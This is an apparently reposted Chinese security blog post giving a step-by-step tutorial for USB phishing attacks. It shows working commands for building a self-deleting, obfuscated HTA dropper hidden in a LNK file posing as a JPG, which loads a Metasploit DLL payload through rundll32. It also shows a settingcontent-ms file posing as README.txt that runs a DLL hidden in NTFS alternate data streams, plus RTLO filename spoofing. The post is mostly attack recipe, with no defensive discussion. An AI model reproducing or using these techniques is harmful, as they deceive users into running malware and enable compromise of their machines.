USB钓鱼几种方式总结。
2019-12-23 12:13:10 Author: mp.weixin.qq.com(查看原文) 阅读量:65 收藏

文章来源: 重生信息安全

方式一:引诱目标点开“美图”

当目标点开美图(恶意LNK快捷方式文件:confidential.jpg.lnk),使目标认为他正在打开图像(confidential.jpg),HTA dropper 隐藏在快捷方式文件中。LNK将执行HTA,HTA将依次执行并删除的DLL payload,并且用诱饵图片替换快捷方式(confidential.jpg)。过程如下:

利用过程如下:

1.MSF生成dll payload,这里用TheFatRat快速生成:

 2.用macro_pack生成一个经过混淆的HTA payload,他将会执行并删除dll

echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=dll_payload.dll --obfuscate -G payload.hta

EMBED_DLL模板将创建一个VB代码,该代码将加载并删除“-embed”指定的文件,并用rundll32加载;-G是指生成hta文件

 3.同样用macro_pack生成另外一个经过混淆的HTA payload,他将完成替换删除.lnk的功能。当我们将其放置于恶意LNK在同一文件夹下。运行后将替换.lnk,释放“美图”

echo "wuyifan.jpg" | macro_pack.exe -t EMBED_EXE --embed=wuyifan.jpg -o -G pic.hta

 如果你此时双击pic.hta,会生成wuyifan.jpg,但是此时pic.hta没有自删除

4.整合上述的两步形成一个自删除的HTA文件:打开pic.htaAutoOpen函数名修改为AutoOpen2

 删除payload.hta的vb代码的后两行(AutoOpenClose),将pic.hta中的vb代码(除了最后两行AutoOpenClose)复制到payload.htavb脚本末尾,后并添加以下代码:

AutoOpen2AutoOpenSet objFSO = CreateObject( "Scripting.FileSystemObject" )Set WshShell = CreateObject("WScript.Shell")objFSO.DeleteFile window.document.location.pathnameClose 

现在运行payload.hta将运行dll,生成wuyifan.jpg并自删除

5.payload.hta嵌入到.lnk文件中,我们希望它能用mshta.exe来解析从而触发payload,如运行一下命令:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"

payload构成放在USB中,我们需要知道当前路径,%cd%将提供当前的路径名称

 使用macro_pack生成lnk,这里U盘的盘符为F:,运行一下命令生成lnk

macro_pack.exe -G G:\confidential.jpg.lnk

当提示输入Shortcut_Target时输入我们需要打开link运行的命令:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\wuyifan.jpg.lnk"

  * 当提示输入Shortcut_Icon时输入:

%windir%\system32\imageres.dll,67

这里主要是为了保证lnk的图标为JPG图像的图标,和imageres.dll67位索引相对应

 6.将.lnkpayload.hta合并到一起就OK了,运行:

copy /b F:\wuyifan.jpg.lnk+payload.hta F:\wuyifan.jpg.lnk

运行效果见:USB_lnk.gif

说明:

当在USB中双击wuyifan.jpg.lnk,会触发payload,加载DLL并隐藏到%TEMP%\Document1.asd中,加载payload的方式为:

CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0

在任务管理器中会发现图片正使用taskmgr或者Sysinternals procexp运行,并且lnk文件被真实的图片替换,实例中USB文件运行的命令容易被杀软识别出来

方式二:针对”README.txt”文件

当目标打开README.txt时,实际上运行的是恶意的settingcontent-ms文件,文件结构准遵循XML模式,不能像上述方法与hta文件组合。我们将使用NTFS备用数据流来隐藏和运行dll payload

settingcontent-ms文件将执行隐藏在备份数据流(README.txt.settingcontent-ms:R)中的DLL,并将以记事本运行存储在另一个ADS中的诱饵文本(README.txt.settingcontent-ms:T.txt),相比第一种方式它没有想.lnk或者.uri那样的快捷箭头

利用过程如下:

1.构建诱饵文本文件,当目标打开时显示文本

echo "Hello World!" > Text.txt

2. 构建恶意设置的快捷方式文件。使用macro_pack生成settingcontent-ms文件,例如要生成一个README.txt文档,该文档的启动运行calc.exe

echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' |  macro_pack.exe -G README.txt.settingcontent-ms 

但是我们真正要启动的是隐藏在NTFS文件系统备份数据流中的DLL payload和诱饵文件。这里有个问题是setcontent-ms文件默认在“C:\Windows\System32”中打开,这样我们必须知道USB的盘符,为此使用Powershell的脚本如下:

%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"

上述命令将调用wmi将盘符赋值给$drive变量;启动记事本打开诱惑文档README.txt.settingcontent-ms:T.txt;启动control.exe打开README.txt.settingcontent-ms:R中的DLL payload,其中DLL也可以同rundll32加载。将上述命令替换刚才生成calc命令,最终的README.txt.settingcontent-ms文件如下: 

3. 创建备用数据流。去报USB已经使用NTFS文件系统格式化,当前USB的盘符为“F:”,创建ADSREADME.txt.settingcontent-ms:R 包含DLL

type dll_payload.dll > F:\README.txt.settingcontent-ms:R

READNE.txt.settingcontent-ms:T.txt 包含诱饵文本:

type Text.txt > F:\README.txt.settingcontent-ms:T.txt

使用streams命令可以检查创建的ADS

PS:使用macro_pack生成RTLO翻转运行calchta文件,运行:

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

生成的文件名为calcath.jpg,实际上是calc[rtlo]gpj.hta,此方法也适用于其他操作系统,但是打开运行的程序可能不同

推荐文章++++

*2019年互联网安全报告:黑客钓鱼有新招

*【网友投稿】实战打击闲鱼转转钓鱼灰色产业


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650458812&amp;idx=2&amp;sn=e485d256f989e1c8ed4a64d4637c73ad&amp;chksm=83bbaf58b4cc264e8c67cddb8668de86071e14cc95e241c3d14e92410d0ca2980959bb903206#rd
如有侵权请联系:admin#unsafe.sh